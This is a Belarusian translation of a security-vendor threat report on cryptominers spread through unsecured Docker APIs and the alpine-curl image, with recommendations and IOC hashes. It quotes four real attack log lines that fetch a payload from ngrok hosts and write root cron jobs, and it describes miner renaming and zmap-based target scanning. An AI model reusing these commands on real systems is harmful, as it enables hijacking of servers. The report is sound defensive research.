Як незакрыты Docker API і публічныя выявы ад супольнасці выкарыстоўваюцца для распаўсюджвання майнераў криптовалют

Як незакрыты Docker API і публічныя выявы ад супольнасці выкарыстоўваюцца для распаўсюджвання майнераў криптовалют

Мы прааналізавалі дадзеныя, сабраныя з дапамогай кантэйнераў-honeypots - яны былі створаны намі для адсочвання пагроз. І мы выявілі значную актыўнасць непажаданых ці неаўтарызаваных майнераў криптовалют, разгорнутых у якасці ашуканскіх кантэйнераў з выкарыстаннем апублікаванай супольнасцю выявы на Docker Hub. Выява ўжываецца ў якасці часткі сэрвісу, які дастаўляе шкоднасныя праграмы-майнеры криптовалют.

Дадаткова ўстанаўліваюцца праграмы для працы з сеткамі для пранікнення ў адкрытыя суседнія кантэйнеры і дадатку.

Мы пакідаем нашы honeypots, як ёсць, гэта значыць з наладамі, якія ідуць па змаўчанні, без якіх-небудзь мер бяспекі ці наступнай усталёўкі дадатковага ПЗ. Зважаем на тое, што ў Docker ёсць рэкамендацыі па першапачатковай наладзе, каб пазбегнуць памылак і найпростых уразлівасцяў. Але выкарыстоўваюцца honeypots з'яўляюцца кантэйнерамі, прызначанымі для выяўлення нападаў, накіраваных на платформу кантэйнерызацыі, а не на прыкладанні ўнутры кантэйнераў.

Выяўленая шкоднасная актыўнасць характэрна таксама тым, што не патрабуе наяўнасці ўразлівасцяў, а таксама незалежная ад версіі Docker. Пошук няслушна наладжанага, а таму адчыненай выявы кантэйнера — усё, што трэба зламыснікам для заражэння мноства адчыненых сервераў.

Незакрыты Docker API дазваляе карыстачу выконваць шырокі набор каманд, уключаючы атрыманне спісу запушчаных кантэйнераў, атрыманне часопісаў з вызначанага кантэйнера, запуск, прыпынак (у тым ліку і прымусовая) і нават стварэнне новага кантэйнера з пэўнай выявы з зададзенымі наладамі.

Як незакрыты Docker API і публічныя выявы ад супольнасці выкарыстоўваюцца для распаўсюджвання майнераў криптовалют
Злева - спосаб дастаўкі шкоднаснай праграм. Справа - асяроддзе атакавалага, якое дазваляе выдаленую раскатку выяў.

Як незакрыты Docker API і публічныя выявы ад супольнасці выкарыстоўваюцца для распаўсюджвання майнераў криптовалют
Размеркаванне па краінах з 3762 адкрытых Docker API. Заснавана на пошуку ў Shodan ад 12.02.2019

Ланцужок нападу і варыянты карыснай нагрузкі

Шкоднасную актыўнасць атрымалася выявіць не толькі з дапамогай honeypots. Дадзеныя з Shodan паказваюць, што колькасць адчыненых Docker API (гл. другі графік) вырасла з тых часоў, як мы даследавалі няслушна наладжаны кантэйнер, які выкарыстоўваўся ў якасці маста для разгортвання ПА для майнінгу криптовалюты Monero. У кастрычніку мінулага года (2018, актуальныя даныя можна паглядзець так заўв. перакладчыка) было толькі 856 адкрытых API.

Вывучэнне часопісаў honeypots паказала, што выкарыстанне выявы кантэйнера таксама звязана з выкарыстаннем нгрок, інструментам ўстаноўкі бяспечных злучэнняў або пракіду трафіку з публічна даступных кропак да ўказаных адрасоў або рэсурсаў (напрыклад localhost). Гэта дазваляе зламыснікам дынамічна ствараць URL`ы пры дастаўцы карыснай нагрузкі на адчынены сервер. Ніжэй прыклады кода з часопісаў, якія паказваюць злоўжыванне сэрвісам ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Як вы бачыце, загружаныя файлы спампоўваюцца з увесь час якія змяняюцца URL. Гэтыя URL маюць кароткі тэрмін дзеяння, таму карысныя нагрузкі не могуць быць загружаны пасля заканчэння тэрміна дзеяння.

Ёсць два варыянты карыснай нагрузкі. Першы - скампіляваны майнер у фармаце ELF для Linux (вызначаны як Coinminer.SH.MALXMR.ATNO), які падлучаецца да пула для майнінгу. Другі – скрыпт (TrojanSpy.SH.ZNETMAP.A), прызначаны для атрымання вызначаных сеткавых прылад, выкарыстоўваных для сканавання сеткавых дыяпазонаў і наступнага пошуку новых мэт.

Скрыпт-дропер выстаўляе дзве зменныя, якія выкарыстоўваюцца потым для разгортвання майнера криптовалюты. Пераменная HOST змяшчае URL, дзе размешчаны шкоднасныя файлы, а пераменная RIP - імя файла (па факце хэш) майнера для разгортвання. Пераменная HOST мяняецца кожны раз пры змене зменнай з хэшам. Скрыпт таксама спрабуе правяраць, што на атакаваным серверы не працуюць іншыя майнеры криптовалют.

Як незакрыты Docker API і публічныя выявы ад супольнасці выкарыстоўваюцца для распаўсюджвання майнераў криптовалют
Прыклады зменных HOST і RIP, а таксама ўрывак кода, які выкарыстоўваецца ў якасці праверкі, што не запушчаны іншыя майнеры

Перш чым запускаць майнер, ён пераназываецца ў nginx. Іншыя версіі гэтага скрыпту пераназываюць майнер у іншыя легітымныя сэрвісы, якія могуць прысутнічаць у асяроддзі Linux. Гэтага звычайна дастаткова для абыходу праверак па спісе запушчаных працэсаў.

У пошукавага скрыпту таксама ёсць асаблівасці. Ён працуе з тым жа сэрвісам URL для разгортвання неабходных прылад. Сярод іх ёсць бінарнік zmap, які выкарыстоўваецца для сканавання сетак і атрымання спісу адкрытых партоў. Скрыпт таксама загружае іншы бінарнік, які выкарыстоўваецца для ўзаемадзеяння са знойдзенымі сэрвісамі і атрымання ад іх банэраў для вызначэння дадатковай інфармацыі аб знойдзеным сэрвісе (напрыклад яго версію).

Скрыпт таксама загадзя вызначае некаторыя сеткавыя дыяпазоны для сканавання, але гэта залежыць ад версіі скрыпту. Таксама ў ім задаюцца мэтавыя парты ад сэрвісаў – у дадзеным выпадку Docker – перад запускам сканавання.

Як толькі знойдзены меркаваныя мэты - аўтаматычна з іх здымаюцца банеры. Скрыпт таксама фільтруе мэты ў залежнасці ад якія цікавяць яго сэрвісаў, прыкладанняў, кампанентаў ці платформаў: Redis, Jenkins, Drupal, MODX, Kubernetes Master, кліент Docker 1.16 і Apache CouchDB. Калі сканаваны сервер адпавядае любому з іх - ён захоўваецца ў тэкставым файле, які зламыснікі ў далейшым змогуць выкарыстоўваць для наступнага аналізу і ўзлому. Гэтыя тэкставыя файлы загружаюцца на серверы зламыснікаў па дынамічных спасылках. Гэта значыць, для кожнага файла выкарыстоўваецца асобны URL, што азначае цяжкасці пры наступным доступе.

У якасці вектара нападу ўжываецца выява Docker, як гэта відаць на наступных двух кавалачках кода.

Як незакрыты Docker API і публічныя выявы ад супольнасці выкарыстоўваюцца для распаўсюджвання майнераў криптовалют
Зверху - перайменаванне ў легітымны сэрвіс, а знізу - як прымяняецца zmap для сканавання сетак

Як незакрыты Docker API і публічныя выявы ад супольнасці выкарыстоўваюцца для распаўсюджвання майнераў криптовалют
Зверху – наканаваныя сеткавыя дыяпазоны, знізу – пэўныя парты для пошуку сэрвісаў, уключаючы Docker

Як незакрыты Docker API і публічныя выявы ад супольнасці выкарыстоўваюцца для распаўсюджвання майнераў криптовалют
На здымку экрана відаць, што выява alpine-curl запампаваны больш за 10 млн разоў

На аснове Alpine Linux і curl, рэсурсаэфектыўнай прылады CLI для перадачы файлаў па розных пратаколах, можна сабраць вобраз Docker. Як відаць на папярэднім малюнку, гэты вобраз ужо быў запампаваны больш за 10 мільёнаў разоў. Вялікі лік загрузак можа азначаць выкарыстанне гэтай выявы ў якасці кропкі ўваходу, абнаўленне гэтай выявы было больш паўгода назад, іншыя выявы гэтага рэпазітара карыстачы не загружалі гэтак жа часта. У Docker кропка ўваходу - Набор інструкцый, якія выкарыстоўваюцца для налады кантэйнера для яго запуску. Калі налады кропкі ўваходу некарэктныя (да прыкладу кантэйнер пакінуты адкрытым з Інтэрнэту), выява можна выкарыстоўваць як вектар нападу. Узломшчыкі могуць яго выкарыстоўваць для дастаўкі карыснай нагрузкі, калі выявяць пакінуты без падтрымкі няслушна наладжаны ці адчынены кантэйнер.

Важна адзначыць, што гэта выява (alpine-curl) сам па сабе не з'яўляецца шкоднасным, аднак як можна ўбачыць вышэй - з яго дапамогай можна выконваць шкоднасныя функцыі. Падобныя выявы Docker таксама могуць быць скарыстаны для здзяйснення зламысных дзеянняў. Мы звязаліся з Docker і працавалі з імі над гэтай праблемай.

Рэкамендацыі

Няправільная настройка застаецца сталай праблемай для многіх кампаній, асабліва якія ўкараняюць DevOps, арыентаваны на хуткую распрацоўку і дастаўку. Усё пагаршаецца з-за неабходнасці выконваць правілы аўдыту, маніторынгу, неабходнасцю сачэння за канфідэнцыяльнасцю дадзеных, а таксама вялікай шкодай ад іх незахавання. Укараненне аўтаматызацыі бяспекі ў жыццёвы цыкл распрацоўкі не толькі дапамагае знайсці дзюры ў бяспецы, якія інакш маглі б застацца незаўважанымі, але і дазваляе паменшыць залішнюю працоўную нагрузку, напрыклад запуск дадатковых зборак ПА для кожнай выяўленай уразлівасці ці няслушнай налады пасля разгортвання прыкладання.

Інцыдэнт, які абмяркоўваецца ў гэтым артыкуле, падкрэслівае неабходнасць паклапаціцца аб бяспецы першапачаткова, у тым ліку наступныя рэкамендацыі:

  • Для сістэмных адміністратараў і распрацоўнікаў: заўсёды правярайце налады API, каб пераканацца, што ўсё наладжана для прыёму запытаў толькі ад вызначанага сервера ці ўнутранай сеткі.
  • Выконвайце прынцып мінімальных правоў: праверце, што выявы кантэйнераў падпісаны і правераны, абмяжуйце доступ да крытычна важных кампанентаў (сэрвіс запуску кантэйнераў) і дадайце шыфраванне сеткавых злучэнняў.
  • выконвайце рэкамендацыям і ўключыце механізмы бяспекі, напрыклад ад Docker і убудаваныя функцыі бяспекі.
  • Ужывайце аўтаматызаванае сканаванне асяроддзяў выканання і выяў для атрымання дадатковай інфармацыі аб працэсах, запушчаных у кантэйнеры (напрыклад, для вызначэння падмены ці пошуку ўразлівасцяў). Кантроль прыкладанняў і маніторынг цэласнасці дапамагаюць адсочваць анамальныя змены на серверах, файлах і сістэмных абласцях.

Trendmicro дапамагае камандам DevOps збіраць бяспечна, выкочваць хутка і запускацца дзе заўгодна. Trend Micro Hybrid Cloud Security забяспечвае магутную, аптымізаваную і аўтаматызаваную бяспеку ў рамках канвеера DevOps арганізацыі і дае некалькі спосабаў абароны ад пагроз XGen для абароны фізічных, віртуальных і хмарных працоўных нагрузак падчас выканання. Ён таксама дадае абарону кантэйнераў з дапамогай Deep Security и Deep Security Smart Check, Якія скануюць выявы кантэйнераў Docker на наяўнасць шкоднасных праграм і ўразлівасцяў на любым інтэрвале ў канвееры распрацоўкі для прадухілення пагроз да іх разгортвання.

Прыкметы кампраметацыі

Змяненні, хэшы:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

На відэакурсе па Docker спікеры-практыкі паказваюць, якія налады неабходна зрабіць у першую чаргу, каб мінімізаваць верагоднасць ці цалкам пазбегнуць узнікненні апісанай вышэй сітуацыі. А 19-21 жніўня на анлайн-інтэнсіўе DevOps Tools&Cheats гэтыя і падобныя праблемы бяспекі вы зможаце абмеркаваць з калегамі і выкладчыкамі-практыкамі на круглым стале, дзе кожны зможа выказацца і паслухаць пра болі і поспехі дасведчаных калег.

Крыніца: habr.com

Дадаць каментар